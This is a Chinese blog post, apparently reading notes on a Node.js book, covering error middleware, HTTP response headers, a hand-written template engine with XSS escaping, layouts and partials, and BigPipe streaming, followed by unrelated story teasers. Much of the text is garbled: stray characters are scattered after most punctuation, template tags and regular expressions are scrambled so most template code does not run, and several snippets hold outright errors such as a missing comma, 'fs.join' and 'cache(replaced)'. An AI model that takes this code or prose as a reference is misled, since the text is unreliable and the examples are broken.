        return middleware.length === 4;
    });
    var next = function () {
        // 從stack數(shù)組中取出中間件并執(zhí)行
        var middleware = stack.shift();
        if (middleware) {
            // 傳遞異常對(duì)象
            middleware(err, req, res, next);
        }
    };
    // 啟動(dòng)執(zhí)行
    next();
};

中間件與性能

我們思考兩個(gè)問題:1.如何編寫高效的中間件却舀,2.合理利用路由,避免不必要的中間件執(zhí)行锤灿。

編寫高效的中間件:

1.使用高效的方法挽拔,必要是通過jsperf.com進(jìn)行基準(zhǔn)測(cè)試,也就是測(cè)試基準(zhǔn)性能
2.緩存需要重復(fù)計(jì)算結(jié)果但校,也就是控制緩存的用量
3.避免不必要的計(jì)算螃诅,比如http報(bào)文體的解析,這個(gè)對(duì)于get方法状囱,完全沒必要

合理使用路由

例如靜態(tài)文件路由术裸,我們應(yīng)該將靜態(tài)文件都放到一個(gè)文件夾下,因?yàn)橥ぜ希绻o態(tài)文件匹配了效率還行袭艺,如果沒有匹配,則浪費(fèi)資源奶栖,我們可以將靜態(tài)文件到在public下:

app.use('/public', staticFile);

這樣匹表,只有訪問public才會(huì)命中靜態(tài)文件。

更好的做法是使用nginx等專門的web容器來為靜態(tài)文件做代理宣鄙,讓node專心做api服務(wù)器袍镀。

最后總結(jié)
中間件的哲學(xué)與unix的哲學(xué)不謀而合,專注簡(jiǎn)單冻晤,小而美苇羡,然后通過組合使用,發(fā)揮強(qiáng)大的能量鼻弧。(這里基本上分析了connect模塊的設(shè)計(jì)原理设江,雖然實(shí)現(xiàn)不盡相同锦茁,但是有了對(duì)于connect原理的認(rèn)知,我們可以把程序?qū)懙母貌娲妫鼫?zhǔn)確码俩,更高效)

頁(yè)面渲染(或客戶端響應(yīng))

頁(yè)面渲染或者客戶端響應(yīng)都是最終呈現(xiàn)給用戶的那一部分,可以說是最重要的一部分歼捏,關(guān)系著用戶的體驗(yàn)和產(chǎn)品的顏值稿存。本節(jié)將包含兩部分內(nèi)容,內(nèi)容響應(yīng)和頁(yè)面渲染瞳秽。

內(nèi)容響應(yīng)

內(nèi)容響應(yīng)的過程中瓣履,我們會(huì)用到響應(yīng)報(bào)文頭的Content-x字段。我們以一個(gè)gzip編碼的文件作為例子講解练俐,我們將告知客戶端內(nèi)容是以gzip編碼的袖迎,其內(nèi)容長(zhǎng)度為21170個(gè)字節(jié),內(nèi)容類型為javascript腺晾,字符集utf-8

Content-Encoding: gzip
Content-Length: 21170
Content-Type: text/javascript; charset=utf-8

客戶端在接收到這個(gè)報(bào)文后燕锥,正確的處理過程是通過gzip來解釋報(bào)文體中的內(nèi)容,用長(zhǎng)度校驗(yàn)報(bào)文體內(nèi)容是否正確丘喻,然后再以字符集utf-8將解碼后的腳本插入到文檔節(jié)點(diǎn)中脯宿。

MIME

如果想要客戶端用正確的方式來處理響應(yīng)內(nèi)容念颈,那么mime就必須要深刻理解泉粉。我們舉兩個(gè)例子:

res.writeHead(200, {'Content-Type': 'text/plain'});
res.end('<html><body>Hello World</body></html>\n');

和

res.writeHead(200, {'Content-Type': 'text/html'});
res.end('<html><body>Hello World</body></html>\n');

在網(wǎng)頁(yè)中,前者顯示的是<html><body>Hello World</body></html>
后者看到的是hello world榴芳,也就是當(dāng)Content-Type': 'text/html'的時(shí)候嗡靡,客戶端將響應(yīng)內(nèi)容標(biāo)識(shí)為了html,并渲染了dom樹窟感。這里瀏覽器通過不同的Content-type的值來決定采用不同的渲染方式讨彼,這個(gè)值我們簡(jiǎn)稱為MIME。

MIME = Multipurpose Internet Mail Extensions柿祈,最早應(yīng)用于電子郵件哈误,后來擴(kuò)展到了瀏覽器領(lǐng)域。不同的文件類型具備不同的MIME值躏嚎,如application/json蜜自、application/xml、application/pdf卢佣。為了方便獲知文件的MIME值重荠,我們可以使用mime模塊來判斷文件類型:

var mime = require('mime');
mime.lookup('/path/to/file.txt'); // => 'text/plain'
mime.lookup('file.txt'); // => 'text/plain'
mime.lookup('.TXT'); // => 'text/plain'
mime.lookup('htm'); // => 'text/html'

除了MIME值之外,content-type還會(huì)包含其他一些參數(shù)虚茶,例如字符集:

Content-Type: text/javascript; charset=utf-8

附件下載

在某些場(chǎng)景下戈鲁,無論響應(yīng)的內(nèi)容是什么樣的MIME值仇参,需求中并不要求客戶端去打開它,只需要彈出并下載它即可婆殿,為了滿足這種需求诈乒,content-disposition字段就登場(chǎng)了,content-disposition字段影響的行為是客戶端會(huì)根據(jù)它的值判斷是應(yīng)該將報(bào)文數(shù)據(jù)當(dāng)做即時(shí)瀏覽的內(nèi)容婆芦,還是可下載的附件抓谴。當(dāng)內(nèi)容只需即時(shí)查看時(shí),它的值為inline寞缝,當(dāng)數(shù)據(jù)可以存為附件時(shí)癌压,它的值為attachment,另外荆陆,content-disposition字段滩届,還能通過參數(shù)指定保存時(shí)應(yīng)該使用的文件名:

Content-Disposition: attachment; filename="filename.ext"

如果我們?cè)O(shè)計(jì)一個(gè)附件下載的api,我們可以這樣做:

res.sendfile = function (filepath) {
    fs.stat(filepath, function (err, stat) {
        var stream = fs.createReadStream(filepath);
        // 設(shè)置內(nèi)容
        res.setHeader('Content-Type', mime.lookup(filepath));
        // 設(shè)置長(zhǎng)度
        res.setHeader('Content-Length', stat.size);
        // 設(shè)置為附件
        res.setHeader('Content-Disposition' 'attachment; filename="' + path.basename(filepath) + '"');
        res.writeHead(200);
        stream.pipe(res);
    });
};

響應(yīng)json

我們做一個(gè)快速響應(yīng)json的小方法:

res.json = function (json) {
    res.setHeader('Content-Type', 'application/json');
    res.writeHead(200);
    res.end(JSON.stringify(json));
};

響應(yīng)跳轉(zhuǎn)

也就是express的redirect功能被啼,我們可以這樣做:

res.redirect = function (url) {
    res.setHeader('Location', url);
    res.writeHead(302);
    res.end('Redirect to ' + url);
};

視圖渲染

雖然web可以響應(yīng)各種類型的文件(我們上文就說過了文本類型帜消、html、附件浓体、跳轉(zhuǎn)等)泡挺。但是,最主流的還是html命浴,對(duì)于響應(yīng)的內(nèi)容是html類型的娄猫,我們稱之為視圖渲染,這個(gè)渲染過程通過模板和數(shù)據(jù)共同完成生闲。渲染模板媳溺,我們給一個(gè)方法叫做render,我們看看自己實(shí)現(xiàn)render的例子:

res.render = function (view, data) {
    res.setHeader('Content-Type', 'text/html');
    res.writeHead(200);
    // 實(shí)際渲染
    var html = render(view, data);
    res.end(html);
};

通過render方法碍讯,我們將模板和數(shù)據(jù)進(jìn)行合并并解析悬蔽,然后返回客戶端html作為響應(yīng)內(nèi)容。

模板

最早的服務(wù)器端動(dòng)態(tài)頁(yè)面開發(fā)捉兴,采用了CGI或者servlet中輸出html片段蝎困,并通過網(wǎng)絡(luò)流輸出到客戶端,客戶端再將其渲染到用戶界面上倍啥。這種邏輯代碼和html輸出混寫的方式禾乘,會(huì)造成小小的代碼變動(dòng)就要進(jìn)行服務(wù)器端的代碼修改,甚至需要重新編譯代碼逗栽。為了改良這種情況盖袭,是html與業(yè)務(wù)邏輯分離,催生出了很多服務(wù)器端動(dòng)態(tài)網(wǎng)頁(yè)技術(shù),如asp鳄虱、php弟塞、jsp。但是拙已,這樣做還是html和邏輯代碼混寫在一起决记,于是就有了mvc模式,通過mvc的思想倍踪,將邏輯系宫、顯示、數(shù)據(jù)進(jìn)行分離建车,模板技術(shù)就是這種思想的延伸扩借。

模板技術(shù)有四個(gè)關(guān)鍵的要素:

1.模板語(yǔ)言
2.包含模板語(yǔ)言的模板文件
3.擁有動(dòng)態(tài)數(shù)據(jù)的數(shù)據(jù)對(duì)象
4.模板引擎

對(duì)于asp、php缤至、jsp潮罪,模板屬于服務(wù)器動(dòng)態(tài)頁(yè)面的內(nèi)置功能,模板語(yǔ)言就是他們的宿主語(yǔ)言(VBScript领斥、JScript嫉到、PHP、Java)月洛,模板文件就是以.php何恶、.asp、.jsp為后綴的文件嚼黔,模板引擎就是web容器细层。

之后,為了拆分業(yè)務(wù)邏輯隔崎,asp今艺、php韵丑、jsp都對(duì)技術(shù)進(jìn)行了擴(kuò)展爵卒,php有了PHPLIB Template和FastTemplate贾富,jsp有了XSTL古毛、Velocity、 JDynamiTe斋荞、 Tapestry等模板陌僵,此時(shí)轴合,只要有數(shù)據(jù)對(duì)象就可以了,其他的交給模板框架碗短。但是受葛,這些技術(shù)存在局限性,因?yàn)椋@些模板是特定的总滩,一旦選擇了一種技術(shù)纲堵,就很難改變了,對(duì)于靈活快速的互聯(lián)網(wǎng)應(yīng)用闰渔,這種局限性往往帶來的是更加高昂的成本席函。

之后,有一個(gè)破局者來了冈涧,這就“胡子”茂附,也就是Mustache,它提出了弱邏輯的模板(logic-less templates)督弓,通過定義{{}}為標(biāo)志营曼,完成了一套模板語(yǔ)言。

但是愚隧,隨著node在社區(qū)的發(fā)展溶推,模板語(yǔ)言可以隨意創(chuàng)造,模板引擎也可以隨意實(shí)現(xiàn)奸攻,node社區(qū)有大量的模板語(yǔ)言供大家選擇蒜危。并且,由于js的前后統(tǒng)一睹耐,一套模板可以適用于前端和后端辐赞,無需切換代碼環(huán)境。

模板技術(shù)

這樣看來硝训,模板技術(shù)不是什么神秘的技術(shù)响委,他們做的只是拼接字符串這樣的很底層的活,把數(shù)據(jù)和模板字符串拼接好窖梁,并轉(zhuǎn)換為html赘风,響應(yīng)給客戶端而已。

模板與數(shù)據(jù)渲染的過程圖

模板引擎

一個(gè)模板一般會(huì)做如下幾件事

步驟 說明
語(yǔ)法分解 提取出普通字符串和表達(dá)式纵刘,這個(gè)過程通常用正則表達(dá)式匹配出來邀窃,<%=%>的正則表達(dá)式為/< =([ % \s\S]+?) >/g
處理表達(dá)式 將標(biāo)簽表達(dá)式轉(zhuǎn)換為普通的語(yǔ)言表達(dá)式
生成執(zhí)行語(yǔ)句
與數(shù)據(jù)一起執(zhí)行 此步驟會(huì)生成最終的字符串

然后,我們來實(shí)現(xiàn)render方法假哎,這個(gè)方法瞬捕,可以讓我們看清楚,模板技術(shù)的實(shí)質(zhì)就是替換特殊標(biāo)簽的技術(shù)

var render = function (str, data) {
    var tpl = str.replace(/< =([ % \s\S]+?) >/g, function (match, code) { %
    return "' + obj." + code + "+ '";
    });
    tpl = "var tpl = '" + tpl + "'\nreturn tpl;";
    var complied = new Function('obj', tpl);
    return complied(data);
};

//---------------------------
var tpl = 'Hello < =username >.'; % %
console.log(render(tpl, {username: 'Jackson Tian'}));
// => Hello Jackson Tian.

模板編譯

在上邊的代碼中舵抹,我們看到了模板編譯肪虎。為了能夠最終將數(shù)據(jù)與模板合并,并生成字符串惧蛹,我們需要將原始的模板字符串轉(zhuǎn)換成一個(gè)函數(shù)對(duì)象:(此處會(huì)用到Function扇救,語(yǔ)法為new Function ([arg1[, arg2[, ... argN]],] functionBody))

tpl = "var tpl = '" + tpl + "'\nreturn tpl;";
var complied = new Function('obj', tpl);
function (obj) {
    var tpl = 'Hello ' + obj.username + '.';
    return tpl;
}

通過模板編譯刑枝,生成的中間件函數(shù),只與模板字符串相關(guān)迅腔,與具體的數(shù)據(jù)無關(guān)仅讽,如果每次都生成這個(gè)中間件函數(shù),會(huì)浪費(fèi)cpu钾挟,為了提升渲染模板的性能洁灵,我們通常采用模板預(yù)編譯的方式,我們將上述的代碼進(jìn)行拆分:

var complie = function (str) {
    var tpl = str.replace(/< =([ % \s\S]+?) >/g, functi % on(match, code) {
        return "' + obj." + code + "+ '";
    });
    tpl = "var tpl = '" + tpl + "'\nreturn tpl;";
    return new Function('obj, escape', tpl);
};
var render = function (complied, data) {
    return complied(data);
};

通過預(yù)編譯緩存模板編譯后的結(jié)果掺出,實(shí)際應(yīng)用中就可以實(shí)現(xiàn)一次編譯徽千,多次執(zhí)行,而原始的方式每次執(zhí)行過程中都要進(jìn)行一次編譯和執(zhí)行汤锨。

with的應(yīng)用

with是一個(gè)被Douglas Crockford指責(zé)的js設(shè)計(jì)双抽,但是在這里,卻可以讓模板做更多的事闲礼。我們改造一下之前寫的代碼:

var complie = function (str, data) {
    var tpl = str.replace(/< =([ % \s\S]+?) >/g, function (match, code) { %
    return "' + " + code + "+ '";
    });
    tpl = "tpl = '" + tpl + "'";
    tpl = 'var tpl = "";\nwith (obj) {' + tpl + '}\nreturn tpl;';
    return new Function('obj', tpl);
};

模板安全

由于使用了模板牍汹,因此,增加了xss的風(fēng)險(xiǎn)柬泽,因此需要對(duì)模板進(jìn)行安全防護(hù)慎菲,這個(gè)安全防護(hù)就是字符轉(zhuǎn)義:

var escape = function (html) {
    return String(html)
        .replace(/&(?!\w+;)/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;'); // IE不支持&apos;單引號(hào)轉(zhuǎn)義
};

我們將不確定要輸出html標(biāo)簽的字符都轉(zhuǎn)義,為了讓轉(zhuǎn)義和非轉(zhuǎn)義表現(xiàn)的更方便锨并,<%=%>和<%-%>分別表示為轉(zhuǎn)義和非轉(zhuǎn)義的情況:

var render = function (str, data) {
    var tpl = str.replace(/\n/g, '\\n') // 將換行符替換
        .replace(/< =([ % \s\S]+?) >/g, function (match, code) { %
    // 轉(zhuǎn)義
    return "' + escape(" + code + ") + '";
        }).replace(/<%-([\s\S]+?) >/g, function (match, % code) {
            // 正常輸出
            return "' + " + code + "+ '";
});
tpl = "tpl = '" + tpl + "'";
tpl = 'var tpl = "";\nwith (obj) {' + tpl + '}\nreturn tpl;';
// 加上escape()函數(shù)
return new Function('obj', 'escape', tpl);
    };

模板引擎通過正則分別匹配-和=并區(qū)別對(duì)待露该,最后不要忘記傳入escape()函數(shù),最終上面的危險(xiǎn)代碼會(huì)轉(zhuǎn)換為安全的輸出:

Hello &lt;script&gt;alert(&quot;I am XSS.&quot;)&lt;/script&gt;.

因此第煮,在模板技術(shù)的使用中解幼,時(shí)刻不要忘記轉(zhuǎn)義,尤其是與輸入有關(guān)的變量一定要轉(zhuǎn)義包警。

模板邏輯

也就是在模板上添加if-else等條件語(yǔ)句撵摆,我們寫實(shí)現(xiàn)的代碼:

<% if (user) { %>
<h2><% = user.name %></h2> 
<% } else { %> 
<h2>匿名用戶</h2>
<% } %> 

我們可以使用這種方式來編譯這段代碼:

function (obj, escape) {
    var tpl = "";
    with (obj) {
        if (user) {
            tpl += "<h2>" + escape(user.name) + "</h2>";
        } else {
            tpl += "<h2>匿名用戶</h2>";
        }
    }
    return tpl;
}

模板引擎拼接字符串的原理還是通過正則表達(dá)式進(jìn)行匹配替換:

var complie = function (str) {
    var tpl = str.replace(/\n/g, '\\n') // 將換行符替換
        .replace(/< =([ % \s\S]+?) >/g, function (match, code) { %
    // 轉(zhuǎn)義
    return "' + escape(" + code + ") + '";
        }).replace(/< =([ % \s\S]+?) >/g, function (match, code) { %
    // 正常輸出
    return "' + " + code + "+ '";
        }).replace(/< ([ % \s\S]+?) >/g, function (match, code) { %
    // 可執(zhí)行代碼
    return "';\n" + code + "\ntpl += '";
        }).replace(/\'\n/g, '\'')
        .replace(/\n\'/gm, '\'');
    tpl = "tpl = '" + tpl + "';";
    // 轉(zhuǎn)換空行
    tpl = tpl.replace(/''/g, '\'\\n\'');
    tpl = 'var tpl = "";\nwith (obj || {}) {\n' + tpl + '\n}\nreturn tpl;';
    return new Function('obj', 'escape', tpl);
};

var tpl = [
'< if (user) { >', % %
'<h2>< =user.name ></h2>', % %
'< } else { >', % %
'<h2>匿名用戶</h2>',
'< } >'].join(' % % \n');
render(complie(tpl), {user: {name: 'Jackson Tian'}});
//輸出結(jié)果

<h2>Jackson Tian</h2>

此外還可以按照這種方式實(shí)現(xiàn)for循環(huán)

var tpl = [
'< for (var i = 0; i < items.length; i++) { >', % %
'< var item = items[i]; >', % %
'<p>< = i+1 > % % ? < =item.nam % e ></p>', %
'< } >' % %
].join('\n');
render(complie(tpl), {items: [{name: 'Jackson'}, {name: 'a '}]})

集成文件系統(tǒng)

我們來實(shí)現(xiàn)一個(gè)更加簡(jiǎn)潔的render

var cache = {};
var VIEW_FOLDER = '/path/to/wwwroot/views';
res.render = function (viewname, data) {
    if (!cache[viewname]) {
        var text;
        try {
            text = fs.readFileSync(path.join(VIEW_FOLDER, viewname), 'utf8');
        } catch (e) {
            res.writeHead(500, { 'Content-Type': 'text/html' });
            res.end('模板文件錯(cuò)誤');
            return;
        }
        cache[viewname] = complie(text);
    }
    var complied = cache[viewname];
    res.writeHead(200, { 'Content-Type': 'text/html' });
    var html = complied(data);
    res.end(html);
};

此處采用了緩存,只會(huì)在第一次讀取的時(shí)候造成整個(gè)進(jìn)程的阻塞害晦,一旦緩存生效特铝,將不會(huì)反復(fù)讀取模板文件,其次篱瞎,緩存之前已經(jīng)進(jìn)行了編譯苟呐,也不會(huì)每次都讀取都編譯了。封裝完渲染之后俐筋,我們可以輕松調(diào)用了:

app.get('/path', function (req, res) {
res.render('viewname', {});
});

由于模板文件內(nèi)容都不大,也不屬于動(dòng)態(tài)改動(dòng)的严衬,所以使用進(jìn)程的內(nèi)存來緩存編譯結(jié)果澄者,并不會(huì)引起太大的垃圾回收問題

子模板(Partial view)

通過子模板解耦大模板

<ul>
    < users.forE % ach(function(user){ > %
        < include user /show > % %
< }) > % %
</ul>

//------------------------

<li>< =user.name ></li> % %

我們來寫實(shí)現(xiàn)代碼:

var files = {};
var preComplie = function (str) {
    var replaced = str.replace(/<%\s+(include.*)\s+ >/g, function (match, code) { %
var partial = code.split(/\s/)[1];
        if (!files[partial]) {
            files[partial] = fs.readFileSync(fs.join(VIEW_FOLDER, partial), 'utf8');
        }
        return files[partial];
    });
    // 多層嵌套,繼續(xù)替換
    if (str.match(/<%\s+(include.*)\s+ >/)) { %
return preComplie(replaced);
    } else {
        return replaced;
    }
};

然后改進(jìn)complie方法,在正是編譯前粱挡,進(jìn)行子模板替換:

var complie = function (str) {
    // 預(yù)解析子模板
    str = preComplie(str);
    var tpl = str.replace(/\n/g, '\\n') // 將換行符替換
        .replace(/< =([ % \s\S]+?) >/g, function (match, code) { %
    // 轉(zhuǎn)義
    return "' + escape(" + code + ") + '";
        }).replace(/< =([ % \s\S]+?) >/g, function (m % atch, code) {
            // 正常輸出
            return "' + " + code + "+ '";
        }).replace(/< ([ % \s\S]+?) >/g, function (match, code) { %
    // 返回可執(zhí)行代碼
    return "';\n" + code + "\ntpl += '";
        }).replace(/\'\n/g, '\'')
        .replace(/\n\'/gm, '\'');
    tpl = "tpl = '" + tpl + "';";
    // 轉(zhuǎn)換空行
    tpl = tpl.replace(/''/g, '\'\\n\'');
    tpl = 'var tpl = "";\nwith (obj || {}) {\n' + tpl + '\n}\nreturn tpl;';
    return new Function('obj', 'escape', tpl);
};

布局視圖(layout)

局部視圖與子模板原理相同赠幕,但是應(yīng)用場(chǎng)景不同。一個(gè)模板可以通過不同的局部視圖來改變渲染的效果询筏。也就是模板內(nèi)容相同榕堰,局部視圖不同。

// 模板1
<ul>
    < users.forEach(function(user){ > % %
        < include user /show > % %
< }) > % %
</ul>
    // 模板2
    <ul>
        < users.forEach(function(user){ > % %
            < include profile > % %
< }) > % %
</ul>

//

res.render('viewname', {
layout: 'layout.html',
users: []
});

我們?cè)O(shè)計(jì)<%- body %>來替換我們的子模板

<ul>
    < users.forEach % (function(user){ > %
<% - body > %
< }) > % %
</ul>

替換代碼如下:

var renderLayout = function (str, viewname) {
    return str.replace(/<%-\s*body\s* >/g, function (match, code) { %
if (!cache[viewname]) {
            cache[viewname] = fs.readFileSync(fs.join(VIEW_FOLDER, viewname), 'utf8');
        }
        return cache[viewname];
    });
};

然后我們修改render方法

res.render = function (viewname, data) {
    var layout = data.layout;
    if (layout) {
        if (!cache[layout]) {
            try {
                cache[layout] = fs.readFileSync(path.join(VIEW_FOLDER, layout), 'utf8');
            } catch (e) {
                res.writeHead(500, { 'Content-Type': 'text/html' });
                res.end('布局文件錯(cuò)誤');
                return;
            }
        }
    }
    var layoutContent = cache[layout] || '<%-body >'; %
    var replaced;
    try {
        replaced = renderLayout(layoutContent, viewname);
    } catch (e) {
        res.writeHead(500, { 'Content-Type': 'text/html' });
        res.end('模板文件錯(cuò)誤');
        return;
    }
    // 將模板和布局文件名做key緩存
    var key = viewname + ':' + (layout || '');
    if (!cache[key]) {
        // 編譯模板
        cache[key] = cache(replaced);
    }
    res.writeHead(200, { 'Content-Type': 'text/html' });
    var html = cache[key](data);
    res.end(html);
};

如此嫌套,我們可以輕松實(shí)現(xiàn)重用布局文件:

res.render('user', {
    layout: 'layout.html',
    users: []
});
// 或者
res.render('profile', {
    layout: 'layout.html',
    users: []
});

模板性能

1.緩存模板文件
2.緩存模板文件編譯后的函數(shù)
3.優(yōu)化模板中的執(zhí)行表達(dá)式逆屡,例如將字符串相加修改為數(shù)組形式,或者將使用with查找模式修改為使用指定對(duì)象名的形式等踱讨,此處不做展開講解魏蔗。(不用with可以減少上下文切換)

模板小結(jié)

目前知名的模板有ejs、jade痹筛。ejs偏向于php風(fēng)格莺治,jade類似于python,ruby風(fēng)格

Bigpipe

由于node是異步加載帚稠,最終的速度將取決于最后完成的那個(gè)任務(wù)的速度谣旁,并在最后完成后將html響應(yīng)給客戶端。因此滋早,bigpipe的思想將把頁(yè)面分割為多個(gè)部分(pagelet)蔓挖,先向用戶輸出沒有數(shù)據(jù)的布局(框架),然后馆衔,逐步返回需要的數(shù)據(jù)瘟判。這個(gè)過程,或者說bigpipe需要前后端協(xié)作完成渲染角溃。

整理一下就是如下步驟:

1.頁(yè)面布局框架(無數(shù)據(jù)的)
2.后端持續(xù)性的數(shù)據(jù)輸出
3.前端渲染

bigpipe的渲染流程示意圖

頁(yè)面布局框架

var cache = {};
var layout = 'layout.html';
app.get('/profile', function (req, res) {
    if (!cache[layout]) {
        cache[layout] = fs.readFileSync(path.join(VIEW_FOLDER, layout), 'utf8');
    }
    res.writeHead(200, { 'Content-Type': 'text/html' });
    res.write(render(complie(cache[layout])));
    // TODO
});

前端需要做的事情如下:

// layout.html
< !DOCTYPE html >
    <html>
        <head>
            <title>Bagpipe?? </title>
            <script src="jquery.js"></script>
            <script src="underscore.js"></script>
            <script src="bigpipe.js"></script>
        </head>
        <body>
            <div id="body"></div>
            <script type="text/template" id="tpl_body">
                <div>< =articles ></div> % %
</script>
            <div id="footer"></div>
            <script type="text/template" id="tpl_footer">
                <div>< =users >< % % /div>
</script>
</body>
</html>
        <script>
            var bigpipe = new Bigpipe();
bigpipe.ready('articles', function (data) {
                $('#body').html(_.render($('#tpl_body').html(), { articles: data }));
            });
bigpipe.ready('copyright', function (data) {
                $('#footer').html(_.render($('#tpl_footer').html(), { users: data }));
            });
</script>

持續(xù)數(shù)據(jù)輸出

實(shí)現(xiàn)的代碼如下:

app.get('/profile', function (req, res) {
    if (!cache[layout]) {
        cache[layout] = fs.readFileSync(path.join(VIEW_FOLDER, layout), 'utf8');
    }
    res.writeHead(200, { 'Content-Type': 'text/html' });
    res.write(render(complie(cache[layout])));
    ep.all('users', 'articles', function () {
        res.end();
    });
    ep.fail(function (err) {
        res.end();
    });
    db.getData('sql1', function (err, data) {
        data = err ? {} : data;
        res.write('<script>bigpipe.set("articles", ' + JSON.stringify(data) + ');</script>';
    });
    db.getData('sql2', function (err, data) {
        data = err ? {} : data;
        res.write('<script>bigpipe.set("copyright", ' + JSON.stringify(data) + ');</script>';
    });
});

然后在html上再添加bigpipe的支持

<script>bigpipe.set("articles", "I am article");</script>
<script>bigpipe.set("copyright", "I am copyright");</script>

這樣就響應(yīng)了后端發(fā)過來的數(shù)據(jù)

前端渲染

前文的bigpipe.ready()?和bigpipe.set()是整個(gè)前端的渲染機(jī)制拷获,前者以一個(gè)key注冊(cè)一個(gè)事件,后者觸發(fā)一個(gè)事件减细,以此完成頁(yè)面的渲染機(jī)制匆瓜。這兩個(gè)函數(shù)都定義在bigpipe下:

var Bigpipe = function () {
    this.callbacks = {};
};
Bigpipe.prototype.ready = function (key, callback) {
    if (!this.callbacks[key]) {
        this.callbacks[key] = [];
    }
    this.callbacks[key].push(callback);
};
Bigpipe.prototype.set = function (key, data) {
    var callbacks = this.callbacks[key] || [];
    for (var i = 0; i < callbacks.length; i++) {
        callbacks[i].call(this, data);
    }
};

bigpipe能做的事情,ajax也可以做未蝌,但是ajax要調(diào)用http連接驮吱,會(huì)耗費(fèi)資源。bigpipe獲取數(shù)據(jù)與當(dāng)前頁(yè)面共用相同的網(wǎng)絡(luò)連接萧吠,開銷很小左冬。因此,可以在網(wǎng)站重要的且數(shù)據(jù)請(qǐng)求時(shí)間較長(zhǎng)的頁(yè)面中使用纸型。

總結(jié)

這一章的內(nèi)容拇砰,講述了整個(gè)web應(yīng)用的構(gòu)建過程梅忌,從處理請(qǐng)求到響應(yīng)請(qǐng)求的整個(gè)過程都有原理性闡述,可以使用這些知識(shí)除破,去構(gòu)建一個(gè)自己的功能完備的web開發(fā)框架牧氮。當(dāng)然,建議使用express或者koa這樣成熟的web框架瑰枫,來開發(fā)自己的業(yè)務(wù)踱葛。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市光坝,隨后出現(xiàn)的幾起案子尸诽,更是在濱河造成了極大的恐慌,老刑警劉巖教馆,帶你破解...
    沈念sama閱讀 221,635評(píng)論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件逊谋,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡土铺,警方通過查閱死者的電腦和手機(jī)胶滋,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,543評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來悲敷,“玉大人究恤,你說我怎么就攤上這事『蟮拢” “怎么了部宿?”我有些...
    開封第一講書人閱讀 168,083評(píng)論 0 360
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)瓢湃。 經(jīng)常有香客問我理张,道長(zhǎng),這世上最難降的妖魔是什么绵患? 我笑而不...
    開封第一講書人閱讀 59,640評(píng)論 1 296
  • 正文 為了忘掉前任雾叭,我火速辦了婚禮,結(jié)果婚禮上落蝙,老公的妹妹穿的比我還像新娘织狐。我一直安慰自己,他們只是感情好筏勒,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,640評(píng)論 6 397
  • 文/花漫 我一把揭開白布移迫。 她就那樣靜靜地躺著,像睡著了一般管行。 火紅的嫁衣襯著肌膚如雪厨埋。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,262評(píng)論 1 308
  • 那天病瞳,我揣著相機(jī)與錄音揽咕,去河邊找鬼悲酷。 笑死套菜,一個(gè)胖子當(dāng)著我的面吹牛亲善,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播逗柴,決...
    沈念sama閱讀 40,833評(píng)論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼蛹头,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來了戏溺?” 一聲冷哼從身側(cè)響起渣蜗,我...
    開封第一講書人閱讀 39,736評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎旷祸,沒想到半個(gè)月后耕拷,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,280評(píng)論 1 319
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡托享,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,369評(píng)論 3 340
  • 正文 我和宋清朗相戀三年骚烧,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片闰围。...
    茶點(diǎn)故事閱讀 40,503評(píng)論 1 352
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡赃绊,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出羡榴,到底是詐尸還是另有隱情碧查,我是刑警寧澤,帶...
    沈念sama閱讀 36,185評(píng)論 5 350
  • 正文 年R本政府宣布校仑,位于F島的核電站忠售,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏迄沫。R本人自食惡果不足惜稻扬,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,870評(píng)論 3 333
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望邢滑。 院中可真熱鬧腐螟,春花似錦、人聲如沸困后。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,340評(píng)論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)摇予。三九已至汽绢,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間侧戴,已是汗流浹背宁昭。 一陣腳步聲響...
    開封第一講書人閱讀 33,460評(píng)論 1 272
  • 我被黑心中介騙來泰國(guó)打工跌宛, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人积仗。 一個(gè)月前我還...
    沈念sama閱讀 48,909評(píng)論 3 376
  • 正文 我出身青樓疆拘,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親寂曹。 傳聞我的和親對(duì)象是個(gè)殘疾皇子哎迄,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,512評(píng)論 2 359

推薦閱讀更多精彩內(nèi)容

  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理,服務(wù)發(fā)現(xiàn)隆圆,斷路器漱挚,智...
    卡卡羅2017閱讀 134,701評(píng)論 18 139
